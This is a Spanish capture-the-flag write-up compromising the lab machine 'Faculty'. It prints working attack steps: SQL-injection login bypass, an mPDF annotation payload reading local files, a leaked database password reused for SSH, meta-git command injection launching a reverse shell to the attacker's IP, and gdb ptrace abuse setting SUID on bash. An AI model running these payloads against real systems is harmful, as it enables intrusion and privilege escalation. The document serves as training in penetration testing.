Faculty
8 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.169
- Fecha: 02 / 07 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.169 -p 22,80
Nmap scan report for 10.10.11.169
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: School Faculty Scheduling System
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.92 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.169
, se nos redirige a http://faculty.htb
, por lo que tenemos que añadir este dominio en /etc/hosts
. Luego, tenemos la siguiente página:
Si probamos payloads de inyección de código SQL, nos saltamos el panel de autenticación:
El tipo de SQLi explotado es Boolean-based Blind:
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>43</b><br />
3
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='+or+1=1--+-"
1
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='+or+1=2--+-"
3
Ahora tenemos también la ruta absoluta donde se guardan los archivos PHP usados por el servidor (/var/www/scheduling/admin/admin_class.php
).
El calendario de arriba no es útil de momento. Vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://faculty.htb/FUZZ -e .php
index.php [Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 76ms]
login.php [Status: 200, Size: 4860, Words: 270, Lines: 132, Duration: 38ms]
header.php [Status: 200, Size: 2871, Words: 155, Lines: 48, Duration: 38ms]
admin [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 44ms]
test.php [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
topbar.php [Status: 200, Size: 1206, Words: 199, Lines: 37, Duration: 40ms]
[Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 39ms]
Genial, vamos a /admin
. Parece que las cookies se quedan para esta página también y seguimos autenticados:
Encontrando una funcionalidad de PDF
Si pinchamos en “Subject List”, se nos redirige a una página como /admin/index.php?page=subjects
:
Parece que el parámetro de URL page
es vulnerable a navegación de directorios o inclusión de archivos locales, pero no lo es.
Otra opción que tenemos aquí es la de exportar la información a un archivo PDF:
Si miramos los metadatos de este archivo con exiftool
veremos que está producido por mPDF 6.0:
$ curl faculty.htb/mpdf/tmp/OKguepDUWdP3H1K0jRSbJn5MAc.pdf -so - | exiftool -
ExifTool Version Number : 12.42
File Size : 0 bytes
File Modification Date/Time : 2022:07:18 17:57:17+02:00
File Access Date/Time : 2022:07:18 17:57:17+02:00
File Inode Change Date/Time : 2022:07:18 17:57:17+02:00
File Permissions : prw-rw----
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Page Layout : OneColumn
Producer : mPDF 6.0
Create Date : 2022:07:18 16:56:31+01:00
Modify Date : 2022:07:18 16:56:31+01:00
Esta versión de mPDF tiene algunas vulnerabilidades que derivan en ejecución remota de comandos, pero no podemos explotarlas. Otra vulnerabilidad es el hecho de poder añadir etiquetas HTML <annotation>
para adjuntar archivos locales al archivo PDF generado (más información en github.com).
Vamos a capturar la petición con Burp Suite:
Está enviando datos en Base64. Con CyberChef veremos que se trata de datos codificados en URL dos veces y luego en Base64:
Entonces, vamos a añadir la etiqueta <annotation>
para obtener el archivo /etc/passwd
y lo codificamos como es debido:
Con el payload de arriba, obtenemos otro archivo PDF:
Y aquí podemos ver passwd
como adjunto:
Y de hecho, obtenemos el archivo /etc/passwd
. Estos son los usuarios existentes a nivel de sistema:
$ grep sh$ passwd
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
Acceso a la máquina
En este punto, podríamos tratar de leer archivos PHP. Vamos a echar un vistazo a /var/www/scheduling/login.php
:
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
include('admin/db_connect.php');
ob_start();
ob_end_flush();
?>
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>School Faculty Scheduling System</title>
<?php include('./header.php'); ?>
<?php
if(isset($_SESSION['login_id']))
header("location:index.php");
?>
</head>
<!-- ... -- >
Está referenciando el archivo /var/www/scheduling/admin/db_connect.php
:
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
Y aquí tenemos una contraseña (Co.met06aci.dly53ro.per
), que, afortunadamente, se reutiliza por el usuario gbyolo
en SSH:
$ ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169's password:
-bash-5.0$ whoami
gbyolo
Este usuario puede ejecutar /usr/local/bin/meta-git
como developer
mediante sudo
:
-bash-5.0$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
Movimiento lateral al usuario developer
Se trata de un script en Node.js:
-bash-5.0$ file /usr/local/bin/meta-git
/usr/local/bin/meta-git: symbolic link to ../lib/node_modules/meta-git/bin/meta-git
-bash-5.0$ file /usr/local/lib/node_modules/meta-git/bin/meta-git
/usr/local/lib/node_modules/meta-git/bin/meta-git: Node.js script, ASCII text executable
-bash-5.0$ cat /usr/local/lib/node_modules/meta-git/bin/meta-git
#!/usr/bin/env node
let loaded = false;
if (loaded) return process.kill();
const program = require('commander');
const debug = require('debug')('meta-git');
program
.command('add', 'Add file contents to the index')
.command('branch', 'List, create, or delete branches')
.command('checkout', 'Switch branches or restore working tree files')
.command('clean', 'Remove untracked files from the working tree')
.command('clone', 'Clone meta and child repositories into new directories')
.command('commit', 'Record changes to the repository')
.command('diff', 'Show changes between commits, commit and working tree, etc')
.command('fetch', 'Download objects and refs from another repository')
.command('merge', 'Join two or more development histories together')
.command('pull', 'Fetch from and integrate with another repository or a local branch')
.command('push', 'Update remote refs along with associated objects')
.command('remote', 'Manage set of tracked repositories')
.command('status', 'Show the working tree status')
.command('tag', 'Create, list, delete or verify a tag object signed with GPG')
.command('update', "Clone any repos that exist in your .meta file but aren't cloned locally")
.parse(process.argv);
loaded = true;
Si buscamos vulnerabilidades de meta-git
veremos un informe de snyk.io, que nos redirige a HackerOne. Como se dice en los informes, podemos realizar las siguientes acciones para inyectar un comando de sistema en meta-git clone
, por lo que podemos obtener una reverse shell como developer
:
-bash-5.0$ cd /tmp
-bash-5.0$ mkdir tests
-bash-5.0$ cd tests
-bash-5.0$ touch asdf
-bash-5.0$ echo 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' > /tmp/rev.sh
-bash-5.0$ sudo -u developer /usr/local/bin/meta-git clone 'asdf||bash /tmp/rev.sh'
meta git cloning into 'asdf||bash /tmp/rev.sh' at rev.sh
rev.sh:
fatal: destination path 'asdf' already exists and is not an empty directory.
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.169.
Ncat: Connection from 10.10.11.169:34078.
-bash-5.0$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
-bash-5.0$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
-bash-5.0$ export TERM=xterm
-bash-5.0$ export SHELL=bash
-bash-5.0$ stty rows 50 columns 158
-bash-5.0$ whoami
developer
En este punto, podemos leer la flag user.txt
:
-bash-5.0$ cat /home/developer/user.txt
0ba1d5bb897f62ecbbf99955e4ef0b81
La enumeración básica nos dice lo que tenemos que hacer:
-bash-5.0$ id
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
-bash-5.0$ find / -group debug 2>/dev/null
/usr/bin/gdb
Parece que podemos ejecutar GDB por pertenecer al grupo debug
. Si enumeramos capabilities, vemos que GDB tiene habilitada cap_sys_ptrace
:
-bash-5.0$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
Esto es un problema porque esta capability nos permite depurar cualquier proceso y ejecutar instrucciones arbitrarias.
Escalada de privilegios
Para escalar privilegios, podemos listar procesos en ejecución por root
y agregarnos con GDB al PID (identificador de proceso) correspondiente:
-bash-5.0$ ps -faux | grep root
root 2 0.0 0.0 0 0 ? S 15:10 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 15:10 0:00 \_ [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 15:10 0:00 \_ [rcu_par_gp]
...
root 718 0.0 0.4 238080 9444 ? Ssl 15:10 0:00 /usr/lib/accountsservice/accounts-daemon
root 724 0.0 0.1 81956 3716 ? Ssl 15:10 0:00 /usr/sbin/irqbalance --foreground
root 725 0.0 0.9 26896 18196 ? Ss 15:10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 728 0.0 0.4 236436 9076 ? Ssl 15:10 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 735 0.0 0.3 17348 7664 ? Ss 15:10 0:00 /lib/systemd/systemd-logind
...
root 968 0.0 0.0 2860 1796 tty1 Ss+ 15:10 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1571 0.0 0.2 38072 4576 ? Ss 15:10 0:00 /usr/lib/postfix/sbin/master -w
-bash-5.0$ gdb -q -p 725
Attaching to process 725
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...
Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...
Reading symbols from /usr/lib/debug/.build-id/7b/4536f41cdaa5888408e82d0836e33dcf436466.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Reading symbols from /lib/x86_64-linux-gnu/libdl.so.2...
...
Reading symbols from /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so)
0x00007f8d5dbf6967 in __GI___poll (fds=0x25b4a60, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
En este punto, vemos que system
(de Glibc) está cargado en memoria, por lo que podemos llamar a esta función con un comando de sistema. Por ejemplo, vamos a añadir el permiso SUID a /bin/bash
:
(gdb) p system
$1 = {int (const char *)} 0x7f8d5db36290 <__libc_system>
(gdb) call system("chmod 4755 /bin/bash")
[Detaching after vfork from child process 53188]
$2 = 0
(gdb) quit
A debugging session is active.
Inferior 1 [process 725] will be detached.
Quit anyway? (y or n) y
Detaching from program: /usr/bin/python3.8, process 725
[Inferior 1 (process 725) detached]
-bash-5.0$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 11:14 /bin/bash
Y ahora que /bin/bash
es un binario SUID, podemos ejecutarla como root
:
-bash-5.0$ bash -p
-bash-5.0# cat /root/root.txt
fbe411b0063d04a996b537b337d14d51